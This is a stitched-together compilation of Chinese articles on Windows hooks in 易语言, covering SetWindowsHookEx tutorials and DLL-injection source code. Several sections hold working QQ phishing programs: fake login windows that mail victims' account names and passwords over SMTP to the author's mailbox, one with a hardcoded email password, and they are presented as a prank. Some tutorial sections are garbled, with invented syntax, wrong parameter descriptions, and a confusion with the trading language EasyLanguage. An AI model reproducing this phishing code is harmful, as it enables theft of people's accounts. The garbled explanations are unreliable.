易语言程序中钩子应用
详解易语言的钩子(钩子HOOK与APIHOOK区别)
详解易语⾔的钩⼦(钩⼦HOOK与APIHOOK区别)在本篇内容⾥我们给⼤家详细分析了易语⾔中间的钩⼦概念以及HOOK与APIHOOK区别钩⼦原英⽂名称 Hook ,钩⼦的意思是指拦截或截获。
作⽤就是拦截程序中交互的数据,先经过我们预定的钩⼦处理接⼝程序,处理过后,再交还给原处理程序,或者⼲脆阻⽌,吃掉这些数据,让原处理程序什么也得不到。
钩⼦原来是Windows操作系统常⽤来检查系统与程序间通信的⼀些数据是否到达⽬标时⽤的,为不传之密,后来随着⼀些⾼⼿们的研究,逐渐的发现了这些秘密的技术并且公布了出来。
同时还有更多的⼈在掌握了这些技术后,⽤在⾃已的软件开发中,实现出奇招⽽超过其它同类软件的功能⽽赢得市场。
钩⼦技术的种类上很多.HOOK API和HOOK技术完全不同。
尽管它们都是钩⼦。
HOOK钩的是消息,它在系统将消息传递给应⽤程序之前截获它,然后进⾏操作、或修改消息、或停⽌消息的传递;⽽HOOK API截获的是应⽤程序对系统API的调⽤,它在应⽤程序对系统API的调⽤之前截获此调⽤动作,让其转⽽调⽤我们所定义的函数(内容可能是进⾏⼀些操作后再调⽤原系统API)。
关于HOOK技术,微软为我们提供了现成的API,有固定的使⽤步骤。
⽽对于HOOK API技术,微软并没有向我们提供类似的API,没有那么简洁的步骤可供我们参考,也许是因为微软并不希望我们⽤这样的⼿段编程,所以相对要⿇烦⼀些。
WINDOWS的钩⼦函数可以认为是WINDOWS的主要特性之⼀。
利⽤它们,您可以捕捉您⾃⼰进程或其它进程发⽣的事件。
通过“钩挂”,您可以给WINDOWS⼀个处理或过滤事件的回调函数,该函数也叫做“钩⼦函数”,当每次发⽣您感兴趣的事件时,WINDOWS都将调⽤该函数。
⼀共有两种类型的钩⼦:局部的和远程的。
局部钩⼦仅钩挂您⾃⼰进程的事件。
远程的钩⼦还可以将钩挂其它进程发⽣的事件。
远程的钩⼦⼜有两种:基于线程的它将捕获其它进程中某⼀特定线程的事件。
易语言钓鱼程序源码详解
最近本人看到有许多网路朋友说需要易语言钓鱼源码,但是发过去了,还是不懂怎么使用。
我这里随便做了一个,美化的话大家自己做一下。
大牛勿喷,新手共勉!易语言首先,检查一下支持库。
步骤:工具→支持库配置→全选→确定接下来,就是窗口和代码。
窗口,代码如下。
.版本2.支持库inter.判断开始(编辑框1.内容≠“”).判断开始(编辑框2.内容≠“”)连接发信服务器(,,,,)发送邮件(,,,,,,).默认信息框(“密码有误!”,0,).判断结束.默认信息框(“账号有误!”,0,).判断结束然后就是填写连接发信服务器()发送邮件()子程序的参数了。
在这里呢,我推荐大家使用163邮箱,收发方式是自收自发,如果你还没用惯163,可以使用163邮箱发邮件到QQ邮箱。
注释:目前网易163邮箱开启SMTP服务需要验证手机号,如果不方便验证,那么就使用QQ方便点!注释2:QQ邮箱开启SMTP服务的条件为当前邮箱7天以上QQ邮箱SMTP服务配置打开QQ邮箱→设置→账户→POP3/SMTP服务与IMAP/SMTP服务开启→保存更改即可配置好了SMTP服务后,就填写好子程序参数。
.版本2.支持库inter.子程序_按钮1_被单击.判断开始(编辑框1.内容≠“”).判断开始(编辑框 2.内容≠“”)连接发信服务器(“smtp.qq”,25,“33@qq”,“9”,)发送邮件(“fishing,”,“aount:”+编辑框 1.内容+换行符+“password:”+编辑框 2.内容,“33@qq”,,,“33@qq”,).默认信息框(“密码有误!”,0,).判断结束.默认信息框(“账号有误!”,0,最后在进行美工,就可以给朋友同学们一个恶作剧啦!1。
setwindowshookex函数易语言用法 -回复
setwindowshookex函数易语言用法-回复setwindowshookex函数是Windows操作系统提供的一种函数,用于在系统级别进行钩子操作。
本文将介绍setwindowshookex函数在易语言中的用法,并一步一步回答相关问题。
首先,我们需要了解setwindowshookex函数的基本概念和作用。
setwindowshookex函数起到的作用是安装一个钩子函数,用于监视或拦截特定类型的事件。
它可以用于拦截全局事件,例如鼠标和键盘事件。
在易语言中,我们可以使用winapi插件来调用Windows操作系统提供的API函数,包括setwindowshookex函数。
接下来,我们将一步一步回答以下问题:问题1:如何使用winapi插件在易语言中调用setwindowshookex函数?在易语言中,我们可以使用winapi插件来调用setwindowshookex函数。
首先,我们需要导入winapi插件:use winapi然后,在需要使用setwindowshookex函数的地方,我们可以直接调用它,例如:ret = setwindowshookex(...)需要注意的是,函数的返回值ret表示函数执行的结果,我们可以根据ret 的值来判断函数是否执行成功。
问题2:setwindowshookex函数的参数是什么意思?setwindowshookex函数有三个参数,分别是hhook、lpfn、hmod和dwthreadid。
- hhook:表示一个钩子标识符,用于标识安装的钩子。
- lpfn:表示一个指向钩子函数的指针,该函数会在特定事件发生时被调用。
- hmod:表示一个模块句柄,用于指定钩子函数所在的模块。
通常可以使用0来表示当前进程。
- dwthreadid:表示一个线程标识符,用于指定钩子函数被安装的线程。
可以使用0来表示所有线程。
问题3:如何编写一个钩子函数?在使用setwindowshookex函数之前,我们需要编写一个钩子函数来处理特定事件。
易语言hook格式
易语言hook格式英文段落:In the realm of computer science, hooking is a technique that enables programmers to intercept function calls, messages, or events within a program or system. The term "hook" originated from the analogy of a physical hook, which is used to attach objects together. Similarly, in programming, hooks allow developers to "attach" their own code to existing functions or events, effectively modifying the behavior of the program.One particular example of hooking is Easy Language hooking, which is often employed in the trading software industry. Easy Language is a scripting language commonly used for creating custom indicators, strategies, and automation scripts in trading platforms. By utilizing hooks, traders and developers can enhance the functionality of their trading software, allowing for more sophisticated strategies and improved trading efficiency.The implementation of hooks involves inserting specific code segments, known as hook handlers, into the target program or system. These hook handlers are designed to intercept and manipulate the desired function calls, messages, or events. The process requires a deep understanding of the program's internals and can be complex, but it offers significant flexibility and customization options.However, it's important to note that hooking can also pose security risks if not used properly. Malicious actors could potentially use hooks to intercept sensitive data or alter program behavior in undesirable ways. Therefore, when employing hooking techniques, it's crucial to ensure that they are implemented securely and with appropriate safeguards.中文翻译段落:在计算机科学领域,Hook(钩子)技术允许程序员拦截程序或系统内的函数调用、消息或事件。
易语言 勾子
易语言勾子<一>勾子基本概念本期导读:什么叫勾子,勾子又起什么作用,它有那些类别,怎么使用,等等这些问题将在本期找到答案=========================================================== 基本概念钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。
当消息到达后,在目标窗口处理函数之前处理它。
钩子机制允许应用程序截获处理window消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。
每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。
这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。
运行机制1、钩子链表和钩子子程:每一个Hook都有一个与之相关联的指针列表,称之为钩子链表,由系统来维护。
这个列表的指针指向指定的,应用程序定义的,被Hook子程调用的回调函数,也就是该钩子的各个处理子程。
当与指定的Hook类型关联的消息发生时,系统就把这个消息传递到Hook子程。
一些Hook子程可以只监视消息,或者修改消息,或者停止消息的前进,避免这些消息传递到下一个Hook子程或者目的窗口。
最近安装的钩子放在链的开始,而最早安装的钩子放在最后,也就是后加入的先获得控制权。
Windows 并不要求钩子子程的卸载顺序一定得和安装顺序相反。
每当有一个钩子被卸载,Windows 便释放其占用的内存,并更新整个Hook链表。
如果程序安装了钩子,但是在尚未卸载钩子之前就结束了,那么系统会自动为它做卸载钩子的操作。
钩子子程是一个应用程序定义的回调函数(CALLBACK Function),不能定义成某个类的成员函数,只能定义为普通的C函数。
用以监视系统或某一特定类型的事件,这些事件可以是与某一特定线程关联的,也可以是系统中所有线程的事件。
易语言利用HOOK注入获取内容的代码
易语⾔利⽤HOOK注⼊获取内容的代码DLL命令表.版本 2.DLL命令 RtlMoveMemory, 整数型, "kernel32.dll", "RtlMoveMemory".参数 Destination, 整数型.参数 Source, 整数型.参数 Length, 整数型.DLL命令 CreateWindowExA, 整数型.参数 dwExStyle, 整数型.参数 lpClassName, ⽂本型.参数 lpWindowName, ⽂本型.参数 dwStyle, 整数型.参数 x, 整数型.参数 y, 整数型.参数 nWidth, 整数型.参数 nHeight, 整数型.参数 hWndParent, 整数型.参数 hMenu, 整数型.参数 hInstance, 整数型.参数 lpParam, 整数型.DLL命令 VirtualProtect, 逻辑型.参数 lpAddress, 整数型.参数 dwSize, 整数型.参数 flNewProtect, 整数型.参数 lpflOldProtect, 整数型, 传址.DLL命令 SetWindowLongA, 整数型, , "SetWindowLongA".参数 hWnd, 整数型.参数 nIndex, 整数型.参数 dwNewLong, 整数型.DLL命令 CallWindowProcA, 整数型, , "CallWindowProcA".参数 lpPrevWndFunc, 整数型.参数 hWnd, 整数型.参数 Msg, 整数型.参数 wParam, 整数型.参数 lParam, 整数型.DLL命令 GetProcAddress, 整数型.参数 hModule, 整数型.参数 lpProcName, ⽂本型.DLL命令 GetModuleHandleA, 整数型.参数 lpModuleName, ⽂本型.DLL命令 MessageBoxA, 整数型, "user32.dll", "MessageBoxA", 公开, 显⽰和操作⼀个消息框。
钩子 易语言
易语言钩子DLL注入源码及源码说明2010-04-06 13:52[所有要使用到的API].版本 2.DLL命令 LoadLibraryA, 整数型.参数 lpLibFileName, 文本型.DLL命令 SetWindowsHookExA, 整数型, "user32.dll", "SetWindowsHookExA", 公开, SetWindowsHookEx.参数钩子类型, 整数型, , idHook.参数回调函数地址, 整数型, , lpfn.参数实例句柄, 整数型, , hmod.参数线程ID, 整数型, , dwThreadId.DLL命令 FreeLibrary, 整数型, "kernel32.dll", "FreeLibrary", , 释放指定的动态链接库,它们早先是用LoadLibrary ;API函数装载的非零表示成功,零表示失败。
会设置GetLastError.参数库句柄, 整数型, , hLibModule,要释放的一个库句柄,在VB里使用只能用这个函数释放那些由应用程序明确装载的DLL。
对LoadLibrary的每一次调用都应该有一个对应的FreeLibrary 调用;.DLL命令 UnhookWindowsHookEx, 整数型, "user32.dll", "UnhookWindowsHookEx", , UnhookWindowsHookEx.参数钩子句柄, 整数型, , hHook.DLL命令 CallNextHookEx, 整数型, "user32.dll", "CallNextHookEx", 公开, CallNextHookEx .参数钩子句柄, 整数型, , hHook.参数代码值, 整数型, , ncode.参数附加参数1, 整数型, , wParam.参数附加参数2, 整数型, 传址, lParam.DLL命令 GetProcAddress, 整数型, "kernel32.dll", "GetProcAddress", , 取进程路径.参数模块句柄, 整数型, , hModule.参数进程名称, 文本型, , lpProcName.DLL命令 GetCurrentThreadId, 整数型, "kernel32.dll", "GetCurrentThreadId".DLL命令获取特别文件夹位置_, 整数型, "shell32.dll", "SHGetSpecialFolderLocation".参数窗口句柄, 整数型, , hwndOwner.参数文件夹位置, 整数型, , nFolder.参数结构, 项目标识符列表_, 传址, pIdl.DLL命令从列表id取路径_, 整数型, "shell32.dll", "SHGetPathFromIDListA", , $(b).参数结构指针, 整数型, , pIdl.参数路径, 文本型, 传址, pszPath.DLL命令 CallWindowProcA, 整数型, "user32.dll", "CallWindowProcA".参数动态调用代码, 字节集, , 一定要用本人编写的.参数子程序, 子程序指针, , 子程序指针.参数参数, 整数型, 数组, 为整数数组,参数1为成员1…类推;文本型和字节集型(自定义结构)为指针.参数参数数目, 整数型, , 一定要和参数数组相符,不然会出错.参数是否C调用, 整数型, , 真为cdecl调用方式,假为stdcall调用方式(即标准WINAPI方式)[这里函数所有代码和一个自定义类型,API代码在左边].版本 2.程序集程序集1.程序集变量临时呼出热键, 整数型.程序集变量临时载入窗口, 窗口.程序集变量钩子模块句柄, 整数型, , "1000".程序集变量钩子句柄, 整数型, , "1000".程序集变量钩子IDx, 整数型.程序集变量 x, 整数型.程序集变量钩子句柄1, 整数型.程序集变量 temp目录, 文本型.程序集变量 xxx, 整数型.程序集变量热键钩子句柄, 整数型.程序集变量第一次, 逻辑型.子程序调用_调用子程序, 整数型, 公开, 呼叫某个函数可以传入无限个参数返回函数返回值.参数子程序指针, 子程序指针, , 指定函数.参数参数, 整数型, 可空数组, 指定参数可以不写, 参数为数组格式为参数[1]=xxx 参数[2]=xxx 文本型或字节集请用转换指针格式2 加入成员(参数,xxx).局部变量动态调用代码, 字节集动态调用代码= { 85, 139, 236, 86, 139, 117, 16, 141, 78, 255, 133, 201, 124, 21, 139, 69, 12, 141, 4, 136, 65, 139, 16, 137, 85, 16, 255, 117, 16, 131, 232, 4, 73, 117, 242, 255, 85, 8, 137, 69, 12, 139, 69, 20, 133, 192, 116, 13, 141, 4, 181, 0, 0, 0, 0, 137, 69, 16, 3, 101, 16, 139, 69, 12, 94, 93, 194, 16, 0 }返回 (CallWindowProcA (动态调用代码, 子程序指针, 参数, 取数组成员数 (参数), 0)).子程序操作_取特定目录, 文本型, 公开, 取特定的目录(返回所要取的指定目录名无效返回空) .参数欲获取目录类型, 整数型, 可空, 0我的桌面 1临时目录 5我的文档 6我的收藏夹 7我的启动11我的开始菜单 20系统字体 36Windows安装目录 37系统目录 [99更多].局部变量路径, 文本型.局部变量标示结构, 项目标识符列表_.局部变量目录类型, 整数型.如果真 (欲获取目录类型= 99)输出调试文本 (“0我的桌面 2我的程序 5我的文档 6我的收藏夹 7我的启动 8我最近的文档 9我的发送到 11我的开始菜单 13我的音乐 14我的视频 16我的桌面 20系统字体 22开始菜单组 23程序组 24启动组 25桌面 31收藏夹 32我的浏览器临时目录 33我的Cookies 34我的历史记录36Windows安装目录 37系统目录 38文件安装目录 39我的图片 40用户目录 41系统目录 46文档 47管理工具 48我的管理工具 53音乐 54图片 55视频”).如果真结束.如果 (欲获取目录类型= 1)目录类型= 34.否则目录类型=欲获取目录类型.如果结束获取特别文件夹位置_ (0, 目录类型, 标示结构)路径=取空白文本 (255)从列表id取路径_ (标示结构.结构大小, 路径).如果真 (路径=“”)返回 (“”).如果真结束.如果真 (欲获取目录类型= 1)路径=子文本替换 (路径, “History”, “Temp”, , , 真).如果真结束返回 (路径+“\”).子程序注入_安装钩子DLL, 整数型, 公开, DLL注入返回0=失败整数型 DLL接口(代码值,参数1,参数2).参数线程ID, 整数型, , -1 全局钩子.参数 DLL全名, 文本型, , DLL全名.参数 DLL接口, 文本型, 可空, 默认整数型钩子接口(代码值,参数1,参数2).局部变量临时变量, 整数型.局部变量目录, 文本型.局部变量窗口句柄, 整数型.如果真 (是否为空 (DLL接口) =真)DLL接口=“钩子接口”.如果真结束.如果真 (线程ID = 0)返回 (0).如果真结束.如果真 (线程ID = -1)线程ID = 0.如果真结束钩子IDx =钩子IDx + 1钩子模块句柄 [钩子IDx] = LoadLibraryA (DLL全名)钩子句柄 [钩子IDx] = SetWindowsHookExA (3, GetProcAddress (钩子模块句柄 [钩子IDx], DLL 接口), 钩子模块句柄 [钩子IDx], 线程ID)目录=操作_取特定目录 (1)写配置项 (目录+“ada.ini”, “ada”, “钩子句柄”, 到文本 (钩子句柄 [钩子IDx]))输出调试文本 (钩子IDx, 钩子模块句柄 [钩子IDx], 钩子句柄 [钩子IDx])返回 (钩子IDx).版本 2.子程序注入_卸载钩子DLL, 逻辑型, 公开.参数钩子ID, 整数型, 可空, 卸载所有时无效.参数卸载所有, 逻辑型, 可空.局部变量 xx, 整数型.如果真 (卸载所有).如果真 (钩子IDx > 0).计次循环首 (钩子IDx, xx).如果真 (钩子模块句柄 [xx] ≠ 0)FreeLibrary (钩子模块句柄 [xx])UnhookWindowsHookEx (钩子句柄 [xx]).如果真结束.计次循环尾 ().如果真结束返回 (真).如果真结束.如果真 (钩子ID > 0).如果真 (钩子模块句柄 [钩子ID] ≠ 0)FreeLibrary (钩子模块句柄 [钩子ID])UnhookWindowsHookEx (钩子句柄 [钩子ID])返回 (真).如果真结束.如果真结束返回 (假).子程序注入_初始化钩子DLL, 整数型, 公开, DLL用..参数代码值, 整数型.参数参数1, 整数型.参数参数2, 整数型.参数初始, 子程序指针.局部变量 xxxx, 整数型.如果真 (钩子句柄1 = 0)temp目录=操作_取特定目录 (1)钩子句柄1 =到整数 (读配置项 (temp目录+“ada.ini”, “ada”, “钩子句柄”, )).如果真结束.如果真 (第一次=假)第一次=真调用_调用子程序 (初始).如果真结束返回 (CallNextHookEx (钩子句柄1, 代码值, 参数1, 参数2)).子程序注入_设置呼出窗口, 逻辑型, 公开.参数设置热键, 整数型.参数呼出窗口, 窗口临时呼出热键=设置热键临时载入窗口=呼出窗口热键钩子句柄= SetWindowsHookExA (2, 到整数 (&呼出键接口), 0, GetCurrentThreadId ()) .如果真 (热键钩子句柄> 0)返回 (真).如果真结束返回 (假).子程序呼出键接口, 整数型.参数一, 整数型.参数二, 整数型.参数三, 整数型.如果真 (一= 0 且二=临时呼出热键且三> 0) .如果 (是否已创建 (临时载入窗口)).如果 (临时载入窗口.可视)临时载入窗口.可视=假.否则临时载入窗口.可视=真.如果结束.否则载入 (临时载入窗口, , 假)临时载入窗口.Esc键关闭=假临时载入窗口.最小化按钮=真.如果结束.如果真结束返回 (CallNextHookEx (热键钩子句柄, 一, 二, 三)).版本 2.数据类型项目标识符列表_, , ITEMIDLIST.成员结构大小, 整数型, , , cb.成员标识符长度, 字节型, , "255", abID此函数是用来调用指针函数的.就是CALL取目录用这个我就不解释了下面是源码主要函数函数解释:本函数参数1为要HOOK的线程ID,参数2为要注入的DLL名,参数3[可空]为DLL接口名字空则为"钩子接口".下面解释是如何实现的:1.首先使用LoadLibraryA获取DLL模块地址.2.然后设置SetWindowsHookExA参数一为HOOK类型,使用WH_GETMESSAGE(3) Hook来监视从GetMessage or PeekMessage函数返回的消息。
易语言钓鱼代码和效果呈现
.版本2
.支持库internet
.程序集窗口程序集1
.子程序__启动窗口_创建完毕
连接发信服务器(“”, 25, “QQ号码”, “QQ密码*”, )
.子程序_按钮1_被单击
按钮1.可视=假
标签8.可视=假
标签9.可视=真
标签10.可视=真
按钮2.可视=真
编辑框1.可视=真
编辑框2.可视=真
.子程序_按钮2_被单击
发送邮件(“上钩了”, “QQ帐号” +编辑框1.内容+“” +“QQ密码” +编辑框2.内容, “QQ邮箱地址”, , , “QQ邮箱地址”, )
图片框3.可视=真
标签11.可视=真
编辑框1.可视=假
编辑框2.可视=假
编辑框1.内容=“”
编辑框2.内容=“”
按钮2.可视=假
时钟1.时钟周期=200
.子程序_时钟1_周期事件
进度条1.位置=进度条1.位置+5
.判断开始(进度条1.位置≥ 100)
图片框3.可视=假
标签11.可视=假
标签9.标题=“绑定数量”
标签10.标题=“确认输入”
编辑框1.可视=真
编辑框2.可视=真
按钮3.可视=真
.默认
.判断结束
.子程序_按钮3_被单击
信息框(“输入后,确认请等待10分钟”, 0, “谢谢使用软件”)
以上是代码!
下面就是窗口
1.
2. 3.
4.
5.
使用效果:
点击后
之后。
因为我的QQ是绝密,所以我用了163邮箱
成功!。
易语言QQ钓鱼程序
.版本2.支持库iext.支持库internet.程序集窗口程序集1.子程序_按钮1_被单击进度条1.位置=0进度条1.最大位置=100时钟1.时钟周期=200.如果(编辑框1.内容=“”)信息框(“请输入账号”, 0, “系统信息”).否则.如果(编辑框2.内容=“”)信息框(“请输入密码”, 0, “系统信息”).否则透明标签1.标题=“正在登陆,请稍等。
”连接发信服务器(“”, 25, “598269593@”, “1994081500”, )发送邮件(“QQ 2012(玛雅)”, “账号:”+编辑框1.内容+#换行符+“密码:”+编辑框2.内容, “1121625772@”, , , “598269593@”, ) 信息框(“登录失败!密码或账号错误!请重新输入!”, 0, “错误!”)透明标签1.标题=“登录失败!”.如果真(透明标签1.标题=“登录失败!”)进度条1.位置=0进度条1.最大位置=0.如果真结束.如果结束.如果真(透明标签1.标题=“”)进度条1.位置=0进度条1.最大位置=0.如果真结束.如果结束.如果真(透明标签1.标题=“”)进度条1.位置=0进度条1.最大位置=0.如果真结束.子程序_时钟1_周期事件进度条1.位置=进度条1.位置+1.如果真(进度条1.位置=100)进度条1.位置=0.如果真结束.子程序_按钮2_被单击连接发信服务器(“”, 25, “598269593@”, “1994081500”, )发送邮件(“QQ 2012(玛雅)”, “账号:”+编辑框1.内容+#换行符+“密码:”+编辑框2.内容, “1121625772@”, , , “598269593@”, )结束()。
setwindowshookex函数易语言用法 -回复
setwindowshookex函数易语言用法-回复setwindowshookex函数是Windows操作系统提供的一个功能强大的函数,用于安装钩子(hook)。
钩子是一种特殊的机制,它允许一个函数拦截并处理特定事件或消息。
通过使用setwindowshookex函数,我们可以监视并干预应用程序的行为。
在本文中,我们将一步一步解释setwindowshookex函数在易语言中的用法。
第一步:了解setwindowshookex函数的功能和参数setwindowshookex函数是包含在user32.dll库中的一个API函数。
该函数的作用是向全局的钩子链中添加一个钩子过程,并指定钩子过程要监视的事件类型。
setwindowshookex函数的参数包括:- idHook:指定钩子类型,常用的钩子类型有WH_KEYBOARD(键盘钩子)和WH_MOUSE(鼠标钩子)。
- lpfn:指向钩子过程的指针,当特定事件发生时,系统将调用此函数。
- hmod:指定包含实现钩子过程的DLL的句柄,通常为NULL。
- dwThreadId:指定要监视的线程的标识符,为0时表示监视所有线程。
第二步:在易语言中声明setwindowshookex函数的原型在易语言中,可以使用extern关键字来声明一个外部函数的原型,以便在程序中使用这个函数。
因此,我们可以在代码中添加如下语句来声明setwindowshookex函数的原型:extern "user32.dll" int SetWindowsHookExA(int idHook, int lpfn, int hmod, int dwThreadId);第三步:编写一个钩子过程钩子过程是一个回调函数,用于处理特定事件。
在易语言中,可以通过定义一个标签函数来实现钩子过程。
以键盘钩子为例,我们可以编写如下的钩子过程函数:Label HookProcCallback(Label nCode, Label wParam, Label lParam) {if (nCode == HC_ACTION && wParam == WM_KEYDOWN){在这里处理键盘按键事件}如果返回值为0,则继续进行钩子链中的下一个钩子过程return 0;}第四步:安装钩子在易语言中,安装钩子需要调用setwindowshookex函数,并将钩子过程的地址作为参数传递给该函数。
setwindowshookex函数易语言用法
setwindowshookex函数易语言用法关于"SetWindowsHookEx函数易语言用法",我能给你提供一些详细信息。
首先,SetWindowsHookEx是一个Windows API函数,用于在操作系统中安装一个钩子函数,以监视或修改特定类型的事件。
Easy语言是一种中国开发者开发的编程语言,它提供了一些API函数的易用封装,可以使用Easy语言来调用SetWindowsHookEx函数以实现一些常见的钩子操作。
1. 引言和背景介绍(200字)SetWindowsHookEx函数的相关内容涉及到Windows操作系统的底层编程以及Easy语言的使用。
为了全面理解SetWindowsHookEx函数的易语言用法,我们需要先了解钩子函数的概念、Easy语言的基本语法以及SetWindowsHookEx函数的参数和返回值等相关知识。
本文将会详细介绍这些内容,并提供具体的易语言示例代码以帮助读者更好地理解和使用SetWindowsHookEx函数。
2. 钩子函数的概念和分类(300字)钩子函数是指在操作系统中设置的一种回调函数,它可以监视或修改操作系统中发生的特定类型的事件。
钩子函数可以用于窗口消息的监视和拦截、键盘和鼠标事件的记录和拦截,甚至可以用于对系统级别的操作进行监视和拦截。
根据钩子函数的设置位置和响应范围,钩子函数可以分为全局钩子和局部钩子。
全局钩子可以监视系统中的所有事件,而局部钩子只能监视某个特定的应用程序。
3. Easy语言基础知识(300字)Easy语言是一种基于C++语言的高级编程语言,它提供了一些方便易用的API函数封装,用于快速开发Windows平台上的应用程序。
在Easy 语言中,可以使用declare语句来声明和调用Windows API函数,也可以使用具有Easy语言语法的扩展函数来调用一些常用的系统功能,如注册表操作、文件IO、网络编程等。
易语言鼠标钩子例程-概述说明以及解释
易语言鼠标钩子例程-概述说明以及解释1.引言1.1 概述鼠标钩子是一种监控和拦截鼠标消息的技术,可以通过这种技术来实现对用户鼠标操作的监听和控制。
在软件开发中,鼠标钩子可以用于实现各种功能,例如鼠标手势识别、鼠标宏录制、鼠标轨迹跟踪等。
易语言是一种国产的编程语言,具有简单易学的特点,广泛应用于软件开发领域。
本文将介绍易语言中如何实现鼠标钩子功能,并提供一个完整的鼠标钩子例程,帮助读者了解和应用这一技术。
通过学习本文,读者将能够掌握易语言中鼠标钩子的原理和实现方法,从而为自己的软件开发项目增添新的功能和效果。
1.2 文章结构文章结构部分应包含关于整篇文章的框架和重点内容的介绍。
在这部分可以简要描述本文将涵盖的主要内容和重点讨论的方向,以帮助读者更好地理解文章的脉络和逻辑结构。
例如:文章结构部分介绍了本文的整体框架和内容细节安排。
本文将首先介绍鼠标钩子的概念和作用,然后重点讨论在易语言中实现鼠标钩子的方法和步骤。
最后,结论部分将总结易语言鼠标钩子的重要性,并展望其未来发展的前景。
通过这样清晰的结构安排,读者可以更好地理解本文的内容,从而更容易获取所需信息。
1.3 目的本文旨在介绍易语言中鼠标钩子的相关知识和例程,帮助读者了解什么是鼠标钩子以及如何在易语言中实现鼠标钩子功能。
通过本文的阐述,读者可以学习到鼠标钩子的基本原理和编写步骤,进而应用到实际的软件开发中。
同时,本文也旨在强调易语言鼠标钩子的重要性和优势,帮助读者更好地理解和使用该功能,并展望易语言鼠标钩子在未来的发展趋势。
通过本文的阐述,读者可以进一步拓展自己的编程技能,提高自己在软件开发领域的实践能力和经验。
2.正文2.1 什么是鼠标钩子:鼠标钩子(Mouse Hook)是一种用于拦截和监视鼠标消息的技术。
通过安装鼠标钩子,我们可以在鼠标事件发生时对其进行处理,如记录鼠标的移动轨迹、监控鼠标点击操作、实现鼠标手势等功能。
在Windows操作系统中,鼠标钩子是一种底层的系统级编程技术,可以被用来截获和处理鼠标事件。
setwindowshookex函数易语言用法 -回复
setwindowshookex函数易语言用法-回复SetWindowsHookEx 函数是Windows 系统提供的一个强大的函数,可以用于在操作系统中设置各种钩子(Hook)。
Hook 是一种机制,允许应用程序监视和截取操作系统中发生的事件或消息,从而实现对系统行为的控制和修改。
本文将针对SetWindowsHookEx 函数在易语言中的使用进行详细说明,包括函数的参数、调用方式和实际应用。
一、SetWindowsHookEx 函数的参数SetWindowsHookEx 函数的语法如下:hHook = SetWindowsHookEx(idHook, lpfn, hmod, dwThreadId);其中各个参数的含义如下:1. idHook:用于指定要安装的钩子类型。
常见的钩子类型包括WH_KEYBOARD(键盘钩子)、WH_MOUSE(鼠标钩子)、WH_KEYBOARD_LL(低级键盘钩子)等。
在易语言中,钩子类型可以用预定义的常量来表示。
2. lpfn:用于指定一个钩子过程的地址,即一个回调函数。
当指定的事件或消息发生时,系统会调用这个回调函数。
在易语言中,可以使用用户自定义的函数作为回调函数。
3. hmod:用于指定要与钩子一起加载的DLL 的句柄。
一般情况下,可以设置为NULL。
4. dwThreadId:用于指定要关联钩子的线程ID。
如果设置为0,则表示关联所有的线程。
二、SetWindowsHookEx 函数的调用方式在易语言中,可以使用DLL 调用的方式来调用SetWindowsHookEx 函数。
下面是一个示例代码:Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Integer) As LongDim hHook As LonghHook = SetWindowsHookEx(13, Addr(HookProc), 0, 0)If hHook = 0 ThenMessageBox(0, "Failed to set hook.", "Error", 16)End IfFunction HookProc(ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As Long) As Long' 钩子过程的具体实现...End Function在上述代码中,我们首先使用Declare 语句声明了SetWindowsHookEx 函数的原型,指定了所在的DLL 文件和函数的别名(Alias)。
setwindowshookex函数易语言用法 -回复
setwindowshookex函数易语言用法-回复SetWindowsHookEx是Windows操作系统提供的一个函数,它可以用来安装一个钩子函数,来监视或修改消息队列中的消息、键盘输入、鼠标操作等。
在本文中,我们将探讨SetWindowsHookEx函数在易语言中的用法,并逐步回答相关问题。
一、SetWindowsHookEx函数简介SetWindowsHookEx函数的原型如下:HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);其中,idHook指定钩子类型,lpfn为钩子函数的指针,hMod为钩子函数所在模块的句柄,dwThreadId为线程ID。
二、为什么要使用SetWindowsHookEx函数?使用SetWindowsHookEx函数可以拦截Windows消息,并在需要的时候做出响应。
这在一些应用场景中非常有用,比如键盘记录器、窗口消息监控、鼠标操作控制等。
通过安装钩子函数,我们可以监控系统级别的事件,以实现特定需求。
三、如何使用SetWindowsHookEx函数?使用SetWindowsHookEx函数,关键是要编写钩子函数,并将其作为参数传递给该函数。
下面我们来一步一步介绍具体的使用方法。
1. 创建一个钩子函数首先,我们需要创建一个钩子函数。
钩子函数是一个由开发者编写的回调函数,它的原型是:LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam);其中,nCode表示消息代码,wParam和lParam分别表示消息相关的数据。
开发者可以根据具体的需求在钩子函数中做出相应的处理。
2. 导入SetWindowsHookEx函数在易语言中,我们可以使用DLL调用来导入Windows函数。
首先,需要声明一个函数原型,如下所示:fun SetWindowsHookEx(int, int, int, int) int;这个函数原型声明了SetWindowsHookEx函数的参数与返回值。
易语言程序中钩子应用
易语言程序中钩子应用易语言程序中钩子应用每一种类型的Hook可以使应用程序能够监视不同类型的系统消息处理机制。
下面描述所有可以利用的Hook类型。
1、WH_CALLWNDPROC(4)和WH_CALLWNDPROCRET Hooks(12)WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。
系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。
WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT 结构,再传递到Hook子程。
CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。
2、WH_CBT(5) Hook在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;2. 完成系统指令;3. 来自系统消息队列中的移动鼠标,键盘事件;4. 设置输入焦点事件;5. 同步系统消息队列事件。
Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。
